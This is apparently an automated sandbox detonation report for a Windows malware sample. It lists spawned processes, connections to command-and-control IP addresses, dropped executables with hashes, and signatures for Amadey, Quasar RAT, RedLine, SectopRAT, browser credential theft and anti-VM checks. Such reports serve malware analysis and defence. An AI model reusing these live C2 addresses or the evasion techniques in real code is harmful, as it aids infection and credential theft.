PID 2760 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe
PID 2760 wrote to memory of 1648 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe
PID 2760 wrote to memory of 1648 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe
PID 2760 wrote to memory of 1648 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe
PID 2760 wrote to memory of 1648 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe
PID 2760 wrote to memory of 2356 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe
PID 2760 wrote to memory of 2356 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe

"C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe"

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

"C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"

C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe

"C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe"

C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe

"C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1500 -s 64

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1432 -s 64

C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe

"C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2732 -s 64

C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe

"C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe"

C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe

"C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe"

C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe

"C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe"

C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe

"C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe"

C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe

"C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe"

C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe

"C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe"

C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe

"C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe"

C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe

"C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe"

C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe

"C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe"

C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe

"C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe"

C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe

"C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe"

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "

C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe

clamer.exe -priverdD

C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe"

C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe

"C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1676 -s 92

C:\Windows\system32\taskeng.exe

taskeng.exe {39A5F2B3-05AD-4F96-AE1D-17948854CB95} S-1-5-21-1506706701-1246725540-2219210854-1000:MUYDDIIS\Admin:Interactive:[1]

C:\ProgramData\tldwq\wbgsd.exe

C:\ProgramData\tldwq\wbgsd.exe

Network

Country Destination Domain Proto
RU 185.215.113.16:80 185.215.113.16 tcp
US 8.8.8.8:53 coe.com.vn udp
VN 103.28.36.182:443 coe.com.vn tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
US 8.8.8.8:53 crl.microsoft.com udp
GB 92.123.142.59:80 crl.microsoft.com tcp
RU 185.215.113.9:9137 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
NL 91.225.219.163:80 91.225.219.163 tcp
RU 185.215.113.67:40960 tcp
NL 91.92.240.111:80 91.92.240.111 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp

Files

memory/3004-0-0x0000000000A60000-0x0000000000F35000-memory.dmp

memory/3004-1-0x0000000077B00000-0x0000000077B02000-memory.dmp

memory/3004-2-0x0000000000A61000-0x0000000000A8F000-memory.dmp

memory/3004-3-0x0000000000A60000-0x0000000000F35000-memory.dmp

memory/3004-5-0x0000000000A60000-0x0000000000F35000-memory.dmp

memory/3004-14-0x0000000000A60000-0x0000000000F35000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

MD5 60fd2d6645e5b41740828e73d4040d5f
SHA1 c135e0d348ff99c0155b88ef3ab603fed3018c8c
SHA256 a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd
SHA512 ed2a187666f23fb12d585611b5cf947b00ef881345aa57a96bb3f81883c3ec7a750c4044d0d7e1c64c00764e4f9e9b86147423b4506343c1c1efba1f04192b84

memory/2760-17-0x0000000000150000-0x0000000000625000-memory.dmp

memory/3004-16-0x0000000000A60000-0x0000000000F35000-memory.dmp

memory/2760-18-0x0000000000151000-0x000000000017F000-memory.dmp

memory/2760-19-0x0000000000150000-0x0000000000625000-memory.dmp

memory/2760-21-0x0000000000150000-0x0000000000625000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe

MD5 d3e3cfe96ef97f2f14c7f7245d8e2cae
SHA1 36a7efd386eb6e4eea7395cdeb21e4653050ec0c
SHA256 519ee8e7e8891d779ac3238b9cb815fa2188c89ec58ccf96d8c5f14d53d2494b
SHA512 ee87bcf065f44ad081e0fb2ed5201fefe1f5934c4bbfc1e755214b300aa87e90158df012eec33562dc514111c553887ec9fd7420bfcf7069074a71c9fb6c0620

C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe

MD5 607c413d4698582cc147d0f0d8ce5ef1
SHA1 c422ff50804e4d4e55d372b266b2b9aa02d3cfdd
SHA256 46a8a9d9c639503a3c8c9654c18917a9cedbed9c93babd14ef14c1e25282c0d5
SHA512 d139f1b76b2fbc68447b03a5ca21065c21786245c8f94137c039d48c74996c10c46ca0bdd7a65cd9ccdc265b5c4ca952be9c2876ced2928c65924ef709678876

memory/1500-56-0x0000000000020000-0x0000000000021000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe

MD5 04e90b2cf273efb3f6895cfcef1e59ba
SHA1 79afcc39db33426ee8b97ad7bfb48f3f2e4c3449
SHA256 e015f535c8a9fab72f2e06863c559108b1a25af90468cb9f80292c3ba2c33f6e
SHA512 72aa08242507f6dd39822a34c68d6185927f6772a3fc03a0850d7c8542b21a43e176f29e5fbb3a4e54bc02fa68c807a01091158ef68c5a2f425cc432c95ea555

memory/2760-80-0x0000000000150000-0x0000000000625000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe

MD5 9dc823e9664351213ce73a32d6851cd5
SHA1 b0314f6b9f5d513317cba84f86ae86e912c930ac
SHA256 5536fb1508ff354c9cde0cb7082d1c9de9fd9c4eee515a3a7e352a0d0e63f32c
SHA512 5d8b64d1199845cd11911f77072a698c6a21bdbd9131449b495536f442dcd44b8db791d554a29784e08578014b6e654a4ffc50ada6ac92e17cec248d86484076

memory/2088-108-0x0000000000400000-0x0000000000442000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe

MD5 a9a37926c6d3ab63e00b12760fae1e73
SHA1 944d6044e111bbad742d06852c3ed2945dc9e051
SHA256 27955c80c620c31df686ccd2a92bce1d07e97c16fda6bd141812e9b0bdd7b06b
SHA512 575485d1c53b1bf145c7385940423b16089cf9ab75404e2e9c7af42b594480470f0e28dadcddbd66e4cd469e45326a6eb4eb2362ccc37edb2a956d224e04cf97

memory/2760-117-0x0000000000150000-0x0000000000625000-memory.dmp

memory/1644-124-0x00000000008B0000-0x0000000000902000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Tmp259B.tmp

MD5 1420d30f964eac2c85b2ccfe968eebce
SHA1 bdf9a6876578a3e38079c4f8cf5d6c79687ad750
SHA256 f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9
SHA512 6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

memory/2760-138-0x0000000000150000-0x0000000000625000-memory.dmp

memory/2760-139-0x0000000000150000-0x0000000000625000-memory.dmp

memory/2760-140-0x0000000000150000-0x0000000000625000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe

MD5 faf1270013c6935ae2edaf8e2c2b2c08
SHA1 d9a44759cd449608589b8f127619d422ccb40afa
SHA256 1011889e66c56fd137bf85b832c4afc1fd054222b2fcbaae6608836d27e8f840
SHA512 4a9ca18f796d4876effc5692cfeb7ce6d1cffdd2541b68753f416d2b0a7eff87588bc05793145a2882fc62a48512a862fa42826761022fed1696c20864c89098

memory/2760-167-0x0000000000150000-0x0000000000625000-memory.dmp

\Users\Admin\AppData\Local\Temp\_MEI26322\python310.dll

MD5 c80b5cb43e5fe7948c3562c1fff1254e
SHA1 f73cb1fb9445c96ecd56b984a1822e502e71ab9d
SHA256 058925e4bbfcb460a3c00ec824b8390583baef0c780a7c7ff01d43d9eec45f20
SHA512 faa97a9d5d2a0bf78123f19f8657c24921b907268938c26f79e1df6d667f7bee564259a3a11022e8629996406cda9fa00434bb2b1de3e10b9bddc59708dbad81

\Users\Admin\AppData\Local\Temp\_MEI26322\api-ms-win-core-file-l1-2-0.dll

MD5 fb8b3af45dca952911937032195294b8
SHA1 d4acbd029249c205a3c241731738a7b6ea07e685
SHA256 4b0f7c14614724b0a54d236efa2f346dcc0bc37d995503c54ff630a7d20c7883
SHA512 e53486631886a4b9e2470b7409bad5c160946912c999df2180c313f052877c58b7574d73ec901db8a53c3663fd59cb36010842fd9ed7fafb64ab786ab4058a7f

\Users\Admin\AppData\Local\Temp\_MEI26322\api-ms-win-core-processthreads-l1-1-1.dll

MD5 5fbb3fc0ca37ed94744d6af8638b7c9a
SHA1 09415405267ee64c92e0fd43ead7dbfe2f028647
SHA256 4c0ba89e487ec98966cc0b68bdeb07bbeb958f3a4ad866382a4185baf31f9041
SHA512 150d318ef5480d9f0e23ee23ae5ba7eb070996e4cae0746d6a5ba53b716ecfbc694ad8044e4aa7d7dc16984b2af26f01e5ca6f665ac73c878f6a18fc60364453

\Users\Admin\AppData\Local\Temp\_MEI26322\api-ms-win-core-localization-l1-2-0.dll

MD5 0f38dd38b314e7e7ada9f09506d9df32
SHA1 5c83750cf4aea5293d704df043f505ea4d05e239
SHA256 5f3dc66fb6ed58b324512c57ef781d1092c1c2ae7e0cb5d287907f9b4bb77248
SHA512 c80dfdf3a3eeefacf631f31691aec278d01b08b4c2ec151d3eeef2256c37202ff6aad363f872e7f9d8b969663db72f213f68e3d4e709a2df39fce643689d1604

\Users\Admin\AppData\Local\Temp\_MEI26322\api-ms-win-core-file-l2-1-0.dll

MD5 afb7cd2310f1c2a3a5a1cc7736697487
SHA1 d435168703dba9a2b6e955a1332111687a4d09d7
SHA256 2e75641d7330b804c3cc6ef682306d2b0f89c4358dac3e1376b5fb2ebd6e2838
SHA512 3a05ff62f4c2cd71d5ecd5732c9d3f8ef91077a056e4082530fed64409b26cab7f4617e03ca65faf1738faffec49f2de65f0f082cbbda1b12bdd07b85b985c26

\Users\Admin\AppData\Local\Temp\_MEI26322\api-ms-win-core-timezone-l1-1-0.dll

MD5 683d6579333e3973206b54af6be2c5ea
SHA1 e9aebf6246633ead1750acbfaae4fdd6f767bec9
SHA256 c446925083f68506717f84e9303d1ac9394bd32c1d98087784499f103617f1d2
SHA512 858f87f00a28cf66215298673bbb8b4ef24ef7a160b932dfed421d4c5d78f469aea0c712d97cf154a264425137a25651d230a4137e1c6bdd4992096acf8370c7

\Users\Admin\AppData\Local\Temp\_MEI26322\ucrtbase.dll

MD5 cd7a487bb5ca20005a81402eee883569
SHA1 f427aaf18b53311a671e60b94bd897a904699d19
SHA256 f4723261c04974542a2c618fe58f4995f2dcaf6996656bb027d65adeeca6caf7
SHA512 24da7a345429f2bc7a1b1e230f2d4400b8d57ecdf822d87d63fd4db0aed888b3ea3e98f8cb3f5b83986bfb846c1bd6eac2ac9382caba267c6ceca6ee77d79417

C:\Users\Public\Desktop\Google Chrome.lnk

MD5 39fb20ef7c3bc1023428dec5650bc879
SHA1 1db41cefdf921b424e3b108edb25c35007c666c5
SHA256 bb157fd2a365dd7f24bac59796458be72603e0b6ebce4f8dbff090696fb04ee0
SHA512 52551ac48f3b69a05a63e45d91f7eb84729f0ddabe33d2adc9193f6cd02329e1e8e8dc08059c0288a42527de6278e19d7336b6da1f04a1ef2ab5d513a001876c

memory/2760-291-0x0000000000150000-0x0000000000625000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe

MD5 95606667ac40795394f910864b1f8cc4
SHA1 e7de36b5e85369d55a948bedb2391f8fae2da9cf
SHA256 6f2964216c81a6f67309680b7590dfd4df31a19c7fc73917fa8057b9a194b617
SHA512 fab43d361900a8d7f1a17c51455d4eedbbd3aec23d11cdb92ec1fb339fc018701320f18a2a6b63285aaafafea30fa614777d30cdf410ffd7698a48437760a142

C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe

MD5 4e0235942a9cde99ee2ee0ee1a736e4f
SHA1 d084d94df2502e68ee0443b335dd621cd45e2790
SHA256 a0d7bc2ccf07af7960c580fd43928b5fb02b901f9962eafb10f607e395759306
SHA512 cfc4b7d58f662ee0789349b38c1dec0c4e6dc1d2e660f5d92f8566d49c4850b2bf1d70e43edf84db7b21cb8e316e8bcc3e20b797e32d9668c69a029b15804e3f

memory/2596-420-0x0000000000D60000-0x0000000000DB2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI16562\python311.dll

MD5 86e0ad6ba8a9052d1729db2c015daf1c
SHA1 48112072903fff2ec5726cca19cc09e42d6384c7
SHA256 5ecda62f6fd2822355c560412f6d90be46a7f763f0ffeec9854177904632ac2d
SHA512 5d6e32f9ff90a9a584183dad1583aea2327b4aea32184b0ebbec3df41b0b833e6bb3cd40822dd64d1033125f52255812b17e4fa0add38fcda6bab1724dfaa2eb

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1506706701-1246725540-2219210854-1000\76b53b3ec448f7ccdda2063b15d2bfc3_62dc4f69-4699-4b35-9f5c-cc69254f52a3

MD5 c3ca905390f8cd0fff858dcbed3157ca
SHA1 d8d0039a63ae06877a3d54b4cacbc3c8beb44d7d
SHA256 44250a8f779148e51cd1faa34a685e85c1334a2029b0a3b5ac74615a1c24f844
SHA512 8a86ae2ae4a3158360c8f3a233366762123a6f8d345ce51f9644f1dfa063b036861fe9d72d4b7c3546671b9f9c9d6c101a9f4f013fb99b54328a9220bc911d0e

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1506706701-1246725540-2219210854-1000\7f12f81aae5e13ce315f97dca9beb775_62dc4f69-4699-4b35-9f5c-cc69254f52a3

MD5 0158fe9cead91d1b027b795984737614
SHA1 b41a11f909a7bdf1115088790a5680ac4e23031b
SHA256 513257326e783a862909a2a0f0941d6ff899c403e104fbd1dbc10443c41d9f9a
SHA512 c48a55cc7a92cefcefe5fb2382ccd8ef651fc8e0885e88a256cd2f5d83b824b7d910f755180b29eccb54d9361d6af82f9cc741bd7e6752122949b657da973676

memory/2760-457-0x0000000000150000-0x0000000000625000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1506706701-1246725540-2219210854-1000\76b53b3ec448f7ccdda2063b15d2bfc3_62dc4f69-4699-4b35-9f5c-cc69254f52a3

MD5 bbc8da7d36df3f91c460984c2abe8419
SHA1 9a247c3d293022fde4f3abc8b56259275c4ef97c
SHA256 0399ccf5e780949a63400736a46cce7d1879903d0f45c6b7d194c960ba4dddc2
SHA512 facbe33baa35fccf8072fe207a4d5eda2a64c4ed067c8eecb23e49cb003747be4c3772cb4ae2dfb87f91aa711b9a8371a2e0d76dc40830e275098172318d7cb4

C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe

MD5 dae181fa127103fdc4ee4bf67117ecfb
SHA1 02ce95a71cadd1fd45351690dc5e852bec553f85
SHA256 f18afd984df441d642187620e435e8b227c0e31d407f82a67c6c8b36f94bd980
SHA512 d2abe0aec817cede08c406b65b3d6f2c6930599ead28ea828c29d246e971165e3af655a10724ca3c537e70fe5c248cdc01567ed5a0922b183a9531b126368e3f

memory/2320-546-0x0000000140000000-0x00000001402FB000-memory.dmp

memory/2320-550-0x0000000140000000-0x00000001402FB000-memory.dmp

memory/2320-549-0x0000000140000000-0x00000001402FB000-memory.dmp

memory/2320-548-0x0000000140000000-0x00000001402FB000-memory.dmp

memory/2320-547-0x0000000140000000-0x00000001402FB000-memory.dmp

memory/2320-545-0x0000000140000000-0x00000001402FB000-memory.dmp

memory/2320-544-0x0000000140000000-0x00000001402FB000-memory.dmp

memory/2320-543-0x0000000140000000-0x00000001402FB000-memory.dmp

memory/2320-538-0x0000000140000000-0x00000001402FB000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe

MD5 3c18dac89d980c0102252ad706634952
SHA1 4f92c678de5867fcec46dff19560390a7affbc7c
SHA256 5b1538d09a2374d64a845d748f8008438e53938bea792c05bdcf926dfd4503e1
SHA512 fa184527e6165bc8e17373c2687d927b8bfb97f1140f111cfb3cbfbb7a54bb7d00961a810a73cc8b353e20b0d8c3b117167e4351e9d482c9297687e16a6f254d

memory/1648-567-0x0000000000E20000-0x0000000001063000-memory.dmp

memory/2760-566-0x0000000006BB0000-0x0000000006DF3000-memory.dmp

memory/2760-565-0x0000000006BB0000-0x0000000006DF3000-memory.dmp

memory/2760-564-0x0000000000150000-0x0000000000625000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe

MD5 aedfb26f18fdd54279e8d1b82b84559a
SHA1 161a427ef200282daf092543b3eda9b8cd689514
SHA256 ba7517fbc65542871d06e7d4b7a017d5c165f55dda2b741e2ba52a6303d21b57
SHA512 30c5836584b3d74e9a0719e0559f2b83900210ee574ae780d793cdc6396bd9b7cb672f401dfa15a58687ad1d769d5ef5c0b0b24de83dec3c8429a259c9a37bb2

memory/2356-579-0x0000000000910000-0x0000000000962000-memory.dmp

memory/1648-594-0x0000000061E00000-0x0000000061EF3000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe

MD5 4c3049f8e220c2264692cb192b741a30
SHA1 46c735f574daaa3e6605ef4c54c8189f5722ff2a
SHA256 7f74b2c86e9f5706fc44c8d5093a027d1cd5856006aa80f270efae26d55c9131
SHA512 b13dc855c3c06b56aa9bf181680b69003839adeaf16c5372912004a7bf42882e340c445c58e24e083692b4dcbb15c3e0cf244664458ccdd0dd7668b440277e0a

C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat

MD5 28151380c82f5de81c1323171201e013
SHA1 ae515d813ba2b17c8c5ebdae196663dc81c26d3c
SHA256 bb8582ce28db923f243c8d7a3f2eccb0ed25930f5b5c94133af8eefb57a8231d
SHA512 46b29cba0dc813de0c58d2d83dc298fa677921fd1f19f41e2ed3c7909c497fab2236d10a9ae59b3f38e49cf167964ede45e15543673a1e0843266242b8e26253

C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe

MD5 e7d405eec8052898f4d2b0440a6b72c9
SHA1 58cf7bfcec81faf744682f9479b905feed8e6e68
SHA256 b63a0e5f93b26ad0eeb9efba66691f3b7e7f51e93a2f0098bde43833f7a24cc2
SHA512 324507084bd56f7102459efe7b3c2d2560f4e89ed03ec4a38539ebb71bccdf1def7bc961c259f9b02f4b2be0d5e095136c9efcd5fc3108af3dc61d24970d6121

C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe

MD5 58ccb4c9da26dbf5584194406ee2f4b3
SHA1 ae91798532b747f410099ef7d0e36bffeca6361c
SHA256 2f502689b799fd964bced77e57edf4206809bb11da16cf4f7895df1df54cdc97
SHA512 dff6b4bf25fc5b5cf1a64ee645fb0310b072ec69c89a6e863cf9e0800e1d36f8dc4e567cf19c7dc8ac704d351b604cbf8d35959c3a64a10aa6b54f5c8fedb3c2

memory/2320-715-0x0000000140000000-0x00000001402FB000-memory.dmp

memory/1648-721-0x0000000000E20000-0x0000000001063000-memory.dmp

memory/2760-724-0x0000000000150000-0x0000000000625000-memory.dmp

memory/2320-725-0x0000000000400000-0x0000000000F06000-memory.dmp

memory/2320-741-0x0000000140000000-0x00000001402FB000-memory.dmp

memory/2760-775-0x0000000000150000-0x0000000000625000-memory.dmp

memory/2760-807-0x0000000000150000-0x0000000000625000-memory.dmp

memory/2760-826-0x0000000000150000-0x0000000000625000-memory.dmp

memory/2760-859-0x0000000000150000-0x0000000000625000-memory.dmp

memory/2760-875-0x0000000000150000-0x0000000000625000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-31 01:41

Reported

2024-07-31 01:44

Platform

win10v2004-20240730-en

Max time kernel

149s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe"

Signatures

Amadey

trojan amadey

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Creates new service(s)

persistence execution

Downloads MZ/PE file

Stops running service(s)

evasion execution

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\Control Panel\International\Geo\Nation C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\dropperrr.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\ProgramData\wvvauqk\rqqsv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\adada.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\dropperrr.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
